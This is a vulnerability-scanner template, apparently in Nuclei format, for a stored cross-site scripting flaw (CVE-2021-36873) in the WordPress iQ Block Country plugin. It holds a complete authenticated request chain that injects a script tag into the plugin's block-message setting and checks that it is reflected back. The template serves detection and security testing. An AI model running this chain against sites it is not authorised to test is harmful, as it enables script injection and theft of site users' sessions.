id: CVE-2021-36873

info:
  name: WordPress iQ Block Country <=1.2.11 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress iQ Block Country plugin 1.2.11 and prior contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://wpscan.com/vulnerability/ba93f085-2153-439b-9cda-7c5b09d3ed58
    - https://wordpress.org/plugins/iq-block-country/
    - https://patchstack.com/database/vulnerability/iq-block-country-/wordpress-iq-block-country-plugin-1-2-11-authenticated-persistent-cross-site-scripting-xss-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36873
    - https://wordpress.org/plugins/iq-block-country/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-36873
    cwe-id: CWE-79
    epss-score: 0.00131
    cpe: cpe:2.3:a:webence:iq_block_country:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 4
    verified: true
    framework: wordpress
    vendor: webence
    product: iq_block_country
  tags: cve,wp-plugin,iq-block-country,cve2021,wordpress,wp,xss,authenticated,wpscan

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/options.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option_page=iqblockcountry-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Diq-block-country%2Flibs%2Fblockcountry-settings.php&blockcountry_blockmessage=test</textarea><script>alert(document.domain)</script>&blockcountry_redirect=2&blockcountry_redirect_url=&blockcountry_header=on&blockcountry_nrstatistics=15&blockcountry_daysstatistics=30&blockcountry_geoapikey=&blockcountry_apikey=&blockcountry_ipoverride=NONE&blockcountry_debuglogging=on
      - |
        GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - contains(header_4, "text/html")
          - status_code_4 == 200
          - contains(body_4, 'blockcountry_blockmessage\">test</textarea><script>alert(document.domain)</script>')
          - contains(body_4, '<h3>Block type</h3>')
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
        internal: true